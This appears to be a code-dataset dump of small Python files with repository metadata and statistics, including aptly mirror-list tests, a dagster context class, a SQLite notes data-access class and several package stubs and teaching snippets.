2022-03-31T22:58:06.000Z

system/t04_mirror/list.py

Yelp/aptly

59a0c0140ba0f0f12554d57d99110511eb3e6229

[ "MIT" ]

460

2018-04-18T18:35:24.000Z

2022-03-31T13:39:22.000Z

system/t04_mirror/list.py

Yelp/aptly

59a0c0140ba0f0f12554d57d99110511eb3e6229

[ "MIT" ]

141

2018-05-31T12:13:37.000Z

2022-03-31T11:07:22.000Z

from lib import BaseTest import re class ListMirror1Test(BaseTest): """ list mirrors: regular list """ fixtureCmds = [ "aptly mirror create --ignore-signatures mirror1 http://cdn-fastly.deb.debian.org/debian/ stretch", "aptly mirror create -with-sources --ignore-signatures mirror2 http://cdn-fastly.deb.debian.org/debian/ stretch contrib", "aptly -architectures=i386 mirror create --ignore-signatures mirror3 http://cdn-fastly.deb.debian.org/debian/ stretch non-free", "aptly mirror create -ignore-signatures mirror4 http://download.opensuse.org/repositories/Apache:/MirrorBrain/Debian_9.0/ ./", ] runCmd = "aptly mirror list" class ListMirror2Test(BaseTest): """ list mirrors: empty list """ runCmd = "aptly mirror list" class ListMirror3Test(BaseTest): """ list mirrors: raw list """ fixtureDB = True runCmd = "aptly -raw mirror list" class ListMirror4Test(BaseTest): """ list mirrors: raw empty list """ runCmd = "aptly -raw mirror list" class ListMirror5Test(BaseTest): """ list mirrors: json empty list """ runCmd = "aptly mirror list -json" class ListMirror6Test(BaseTest): """ list mirrors: regular list """ fixtureCmds = [ "aptly mirror create --ignore-signatures mirror1 http://cdn-fastly.deb.debian.org/debian/ stretch", "aptly mirror create -with-sources --ignore-signatures mirror2 http://cdn-fastly.deb.debian.org/debian/ stretch contrib", "aptly -architectures=i386 mirror create --ignore-signatures mirror3 http://cdn-fastly.deb.debian.org/debian/ stretch non-free", "aptly mirror create -ignore-signatures mirror4 http://download.opensuse.org/repositories/Apache:/MirrorBrain/Debian_9.0/ ./", ] runCmd = "aptly mirror list -json" def outputMatchPrepare(_, s): return re.sub(r'[ ]*"UUID": "[\w-]+",?\n', '', s)

31.672131

136

0.671325

223

1,932

5.802691

0.273543

0.085008

0.088099

0.12983

0.782071

0.768161

0.676971

0

0.015454

0.19617

1,932

60

137

32.2

0.817772

0.082816

0

0.551724

0

0.275862

0.637716

0

1

0.034483

false

0

0.068966

0.034483

0.655172

0

null

0

1

0

1

0

1

0

null

0

1

0

5

7b1cde6b7c19c3e10d988972f04839e4150f1563

854

py

Python

python_modules/dagster/dagster/core/execution/context/expectation.py

bambielli-flex/dagster

30b75ba7c62fc536bc827f177c1dc6ba20f5ae20

[ "Apache-2.0" ]

null

python_modules/dagster/dagster/core/execution/context/expectation.py

bambielli-flex/dagster

30b75ba7c62fc536bc827f177c1dc6ba20f5ae20

[ "Apache-2.0" ]

null

python_modules/dagster/dagster/core/execution/context/expectation.py

bambielli-flex/dagster

30b75ba7c62fc536bc827f177c1dc6ba20f5ae20

[ "Apache-2.0" ]

null

from dagster import check from .step import StepExecutionContext from .system import SystemExpectationExecutionContext class ExpectationExecutionContext(StepExecutionContext): __slots__ = ['_system_expectation_execution_context'] def __init__(self, system_expectation_execution_context): self._system_expectation_execution_context = check.inst_param( system_expectation_execution_context, 'system_expectation_execution_context', SystemExpectationExecutionContext, ) super(ExpectationExecutionContext, self).__init__(system_expectation_execution_context) @property def expectation_def(self): return self._system_expectation_execution_context.expectation_def @property def inout_def(self): return self._system_expectation_execution_context.inout_def

34.16

95

0.78103

78

854

7.974359

0.294872

0.21865

0.334405

0.424437

0.279743

0.160772

0

0.169789

854

24

96

35.583333

0.877292

0

0.111111

0

0.08548

0

1

0.166667

false

0

0.166667

0.111111

0.555556

0

null

1

0

null

0

1

0

5

7b3394fe17a03d36f237aa0ac7a7f9d296a5663c

80

py

Python

Lesson05/nameMain.py

PacktPublishing/Python-Fundamentals

f24569826b1b7f97e3d54630a34ae61110ca12da

[ "MIT" ]

1

2021-04-23T14:01:56.000Z

Lesson05/nameMain.py

PacktPublishing/Python-Fundamentals

f24569826b1b7f97e3d54630a34ae61110ca12da

[ "MIT" ]

null

Lesson05/nameMain.py

PacktPublishing/Python-Fundamentals

f24569826b1b7f97e3d54630a34ae61110ca12da

[ "MIT" ]

4

2021-06-29T05:57:44.000Z

2021-09-02T10:14:55.000Z

import functions2 print(__name__) print(functions2.surface_area_cuboid(2,11,4))

20

45

0.8375

12

80

5.083333

0.833333

0

0.078947

0.05

80

4

45

20

0.723684

0

1

0

true

0

0.333333

0

0.333333

0.666667

1

0

null

0

1

0

null

0

1

0

1

0

1

0

5

9e6adcff690ef00965c194bb212e3f3c8547a975

21

py

Python

examples/str.zfill/ex1.py

mcorne/python-by-example

15339c0909c84b51075587a6a66391100971c033

[ "MIT" ]

null

examples/str.zfill/ex1.py

mcorne/python-by-example

15339c0909c84b51075587a6a66391100971c033

[ "MIT" ]

null

examples/str.zfill/ex1.py

mcorne/python-by-example

15339c0909c84b51075587a6a66391100971c033

[ "MIT" ]

null

print('42'.zfill(5))

10.5

20

0.619048

4

21

3.25

1

0

0.15

0.047619

21

1

21

0.5

0

0.095238

0

1

0

true

0

1

0

null

0

1

0

null

0

1

0

1

0

5

9e9f8752cf2ad5ffd163672de13e3713725080aa

92

py

Python

yarx/layers/__init__.py

mahnerak/yarx

aff3f98714fe940966e6e1ad670e10c059d49985

[ "Apache-2.0" ]

1

2019-08-27T17:38:37.000Z

yarx/layers/__init__.py

mahnerak/yarx

aff3f98714fe940966e6e1ad670e10c059d49985

[ "Apache-2.0" ]

null

yarx/layers/__init__.py

mahnerak/yarx

aff3f98714fe940966e6e1ad670e10c059d49985

[ "Apache-2.0" ]

1

2019-08-18T18:05:07.000Z

from .multi_time_distributed import MultiTimeDistributed from .projection import Projection

30.666667

56

0.891304

10

92

8

0.7

0

0.086957

92

2

57

46

0.952381

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

5

7b9b23b1f36a89bb4cd3c40f0d4a0d420ac4f5de

195

py

Python

doorman/users/mixins.py

haim/doorman

27a5ffc831347a4447ddf7fc7bf2e9f0fcef461b

[ "MIT" ]

614

2016-04-22T21:08:31.000Z

2022-02-04T15:37:57.000Z

doorman/users/mixins.py

haim/doorman

27a5ffc831347a4447ddf7fc7bf2e9f0fcef461b

[ "MIT" ]

110

2016-04-23T13:55:21.000Z

2022-03-21T22:16:37.000Z

doorman/users/mixins.py

haim/doorman

27a5ffc831347a4447ddf7fc7bf2e9f0fcef461b

[ "MIT" ]

110

2016-04-22T21:08:41.000Z

2021-11-17T08:21:31.000Z

# -*- coding: utf-8 -*- from flask_login import UserMixin class NoAuthUserMixin(UserMixin): def get_id(self): return u'' @property def username(self): return u''

13.928571

33

0.610256

23

195

5.086957

0.782609

0.17094

0.188034

0

0.007042

0.271795

195

13

34

15

0.816901

0.107692

0

0.285714

0

1

0.285714

false

0

0.142857

0.285714

0.857143

0

1

0

null

0

1

0

null

0

1

0

1

0

5

7bcb6c430af76dc7ff0a00c5191d2f2a4e3d2d85

1,434

py

Python

wavefront_api_client/api/__init__.py

mdennehy/python-client

4d9cfa32075a6a65d88a38fe9e72b282e87b8808

[ "Apache-2.0" ]

null

wavefront_api_client/api/__init__.py

mdennehy/python-client

4d9cfa32075a6a65d88a38fe9e72b282e87b8808

[ "Apache-2.0" ]

null

wavefront_api_client/api/__init__.py

mdennehy/python-client

4d9cfa32075a6a65d88a38fe9e72b282e87b8808

[ "Apache-2.0" ]

null

from __future__ import absolute_import # flake8: noqa # import apis into api package from wavefront_api_client.api.alert_api import AlertApi from wavefront_api_client.api.cloud_integration_api import CloudIntegrationApi from wavefront_api_client.api.dashboard_api import DashboardApi from wavefront_api_client.api.derived_metric_api import DerivedMetricApi from wavefront_api_client.api.direct_ingestion_api import DirectIngestionApi from wavefront_api_client.api.event_api import EventApi from wavefront_api_client.api.external_link_api import ExternalLinkApi from wavefront_api_client.api.integration_api import IntegrationApi from wavefront_api_client.api.maintenance_window_api import MaintenanceWindowApi from wavefront_api_client.api.message_api import MessageApi from wavefront_api_client.api.metric_api import MetricApi from wavefront_api_client.api.notificant_api import NotificantApi from wavefront_api_client.api.proxy_api import ProxyApi from wavefront_api_client.api.query_api import QueryApi from wavefront_api_client.api.saved_search_api import SavedSearchApi from wavefront_api_client.api.search_api import SearchApi from wavefront_api_client.api.settings_api import SettingsApi from wavefront_api_client.api.source_api import SourceApi from wavefront_api_client.api.user_api import UserApi from wavefront_api_client.api.user_group_api import UserGroupApi from wavefront_api_client.api.webhook_api import WebhookApi

53.111111

80

0.899582

208

1,434

5.841346

0.274038

0.224691

0.276543

0.380247

0.438683

0.047737

0

0.000749

0.069038

1,434

26

81

55.153846

0.909363

0.028591

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1

0

true

0

1

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1

0

null

1

0

null

0

1

0

1

0

5

c8bc5fe05223cac1191d0aa4b80ae822d8f1f163

2,774

py

Python

src/dataAcces/noteDA.py

malonejv/py-sample-backend

54e7fa3f2a68e58709d70ec966f03644a77002d4

[ "MIT" ]

null

src/dataAcces/noteDA.py

malonejv/py-sample-backend

54e7fa3f2a68e58709d70ec966f03644a77002d4

[ "MIT" ]

null

src/dataAcces/noteDA.py

malonejv/py-sample-backend

54e7fa3f2a68e58709d70ec966f03644a77002d4

[ "MIT" ]

null

import datetime from dataAcces.context import Context from entites.note import Note class NoteDA: def Insert(self, note): #MYSQL # sql = "INSERT INTO notas (id, titulo, descripcion, usuarioId, fecha) VALUES(NULL, %s, %s, %s, %s);" #SQLITE sql = "INSERT INTO notas (id, titulo, descripcion, usuarioId, fecha) VALUES(NULL, ?, ?, ?, ?);" try: fecha = datetime.date.today().strftime("%d/%m/%y") params = (note.Title, note.Description, note.UserId, fecha) context = Context() context.Cursor.execute(sql, params) context.db.commit() result = context.Cursor.rowcount except Exception as ex: result = 0 return result def Update(self, note): #MYSQL # sql = "UPDATE notas SET titulo = %s, descripcion = %s, fecha = %s WHERE id = %s;" #SQLITE sql = "UPDATE notas SET titulo = ?, descripcion = ?, fecha = ? WHERE id = ?;" try: fecha = datetime.date.today().strftime("%d/%m/%y") params = (note.Title, note.Description, fecha, note.Id) context = Context() context.Cursor.execute(sql, params) context.db.commit() result = context.Cursor.rowcount except Exception as ex: result = 0 return result def Delete(self, note): #MYSQL # sql = "DELETE FROM notas WHERE id = %s;" #SQLITE sql = "DELETE FROM notas WHERE id = ?;" try: params = (note.Id,) context = Context() context.Cursor.execute(sql, params) context.db.commit() result = context.Cursor.rowcount except Exception as ex: result = 0 return result def GetById(self, id): #MYSQL # sql = "SELECT n.Id, n.titulo, n.descripcion, n.usuarioId FROM notas n WHERE n.id = %s;" #SQLITE sql = "SELECT n.Id, n.titulo, n.descripcion, n.usuarioId FROM notas n WHERE n.id = ?;" params = (id,) context = Context() context.Cursor.execute(sql, params) resultDb = context.Cursor.fetchone() return resultDb def GetByUser(self, userId): #MYSQL # sql = "SELECT n.Id, n.titulo, n.descripcion, n.usuarioId FROM notas n WHERE n.usuarioId = %s;" #SQLITE sql = "SELECT n.Id, n.titulo, n.descripcion, n.usuarioId FROM notas n WHERE n.usuarioId = ?;" params = (userId,) context = Context() context.Cursor.execute(sql, params) resultDb = context.Cursor.fetchall() return resultDb

27.196078

109

0.535689

305

2,774

4.872131

0.193443

0.094213

0.033647

0.090848

0.783984

0.738896

0.705249

0.703903

0

0.001666

0.350757

2,774

101

110

27.465347

0.823431

0.166186

0

0.603774

0

0.056604

0.159269

0

1

0.09434

false

0

0.056604

0

0.264151

0

null

0

1

0

null

0

5

cda0a1c29055316daeafb0f8a3fb34113d679083

62

py

Python

finetune/util/__init__.py

IndicoDataSolutions/finetune-transformer-lm

3534658e5de281e5634c8481b0fb37635b0cb3af

[ "MIT" ]

null

finetune/util/__init__.py

IndicoDataSolutions/finetune-transformer-lm

3534658e5de281e5634c8481b0fb37635b0cb3af

[ "MIT" ]

null

finetune/util/__init__.py

IndicoDataSolutions/finetune-transformer-lm

3534658e5de281e5634c8481b0fb37635b0cb3af

[ "MIT" ]

null

def list_transpose(l): return [list(i) for i in zip(*l)]

15.5

37

0.629032

12

62

3.166667

0.75

0

0.209677

62

3

38

20.666667

0.77551

0

1

0.5

false

0

0.5

1

0

1

0

null

0

1

0

null

0

1

0

1

0

5

cddd57b3e17a3228b02c6bc7973f91d71af06755

65

py

Python

lino_xl/lib/statbel/countries/fixtures/few_countries.py

khchine5/xl

b1634937a9ce87af1e948eb712b934b11f221d9d

[ "BSD-2-Clause" ]

1

2018-01-12T14:09:48.000Z

lino_xl/lib/statbel/countries/fixtures/few_countries.py

khchine5/xl

b1634937a9ce87af1e948eb712b934b11f221d9d

[ "BSD-2-Clause" ]

1

2019-09-10T05:03:47.000Z

lino_xl/lib/statbel/countries/fixtures/few_countries.py

khchine5/xl

b1634937a9ce87af1e948eb712b934b11f221d9d

[ "BSD-2-Clause" ]

null

from lino_xl.lib.countries.fixtures.few_countries import objects

32.5

64

0.876923

10

65

5.5

0.9

0

0.061538

65

1

65

0.901639

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

5

a807cd70924499ca85d048a281f498dd9ab48f7a

77

py

Python

blues/kfold/cluster_kfold.py

Kageshimasu/blues

a808fb8da86224f2e597916b04bdbd29376af6bb

[ "MIT" ]

null

blues/kfold/cluster_kfold.py

Kageshimasu/blues

a808fb8da86224f2e597916b04bdbd29376af6bb

[ "MIT" ]

null

blues/kfold/cluster_kfold.py

Kageshimasu/blues

a808fb8da86224f2e597916b04bdbd29376af6bb

[ "MIT" ]

1

2021-02-15T07:54:17.000Z

from ..base.base_dataset import BaseDataset class ClusterKFolder: pass

12.833333

43

0.779221

9

77

6.555556

0.888889

0

0.168831

77

5

44

15.4

0.921875

0

1

0

true

0.333333

0

0.666667

0

1

0

null

0

1

0

null

0

1

0

5

a8188aa395ad22c7ae2564db18c17e8726c53dd6

183

py

Python

imf/regressions/__init__.py

frmunozz/IrregularMatchedFilter

b64c348345b16d777839f13dc585d1816cf81ca6

[ "MIT" ]

2

2021-12-15T16:38:43.000Z

2021-12-15T16:38:49.000Z

imf/regressions/__init__.py

Francisco95/Match_filter

b64c348345b16d777839f13dc585d1816cf81ca6

[ "MIT" ]

null

imf/regressions/__init__.py

Francisco95/Match_filter

b64c348345b16d777839f13dc585d1816cf81ca6

[ "MIT" ]

null

from imf.regressions.dictionaries import Dictionary from imf.regressions.regressors import BasicRegression, RidgeRegression, \ LassoRegression, ElasticNetRegression, SGDRegression

61

74

0.863388

16

183

9.875

0.75

0.088608

0.227848

0

0.087432

183

3

75

61

0.946108

0

1

0

true

0

0.666667

0

0.666667

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

5

a820af421415bee9da664bf38863197fded6c5c8

248

py

Python

Day2_Tip_Generator/main.py

OBrianbl/Python_100_Days_of_Code

04712a6d2f7f99be62c3acdf57c2297663b08608

[ "MIT" ]

null

Day2_Tip_Generator/main.py

OBrianbl/Python_100_Days_of_Code

04712a6d2f7f99be62c3acdf57c2297663b08608

[ "MIT" ]

null

Day2_Tip_Generator/main.py

OBrianbl/Python_100_Days_of_Code

04712a6d2f7f99be62c3acdf57c2297663b08608

[ "MIT" ]

null

# Author: Brandon # Date: 2022.01.24 # Description: This program generates tip amount given total bill amount and desired tip percentage. # import tip generator functions from tip_generator_functions import * if __name__ == "__main__": pass

24.8

101

0.766129

33

248

5.454545

0.787879

0.133333

0.233333

0

0.038835

0.169355

248

10

102

24.8

0.834951

0.657258

0

1

0

0.098765

0

1

0

true

0.333333

0

0.333333

0

null

0

1

0

1

0

null

0

1

0

5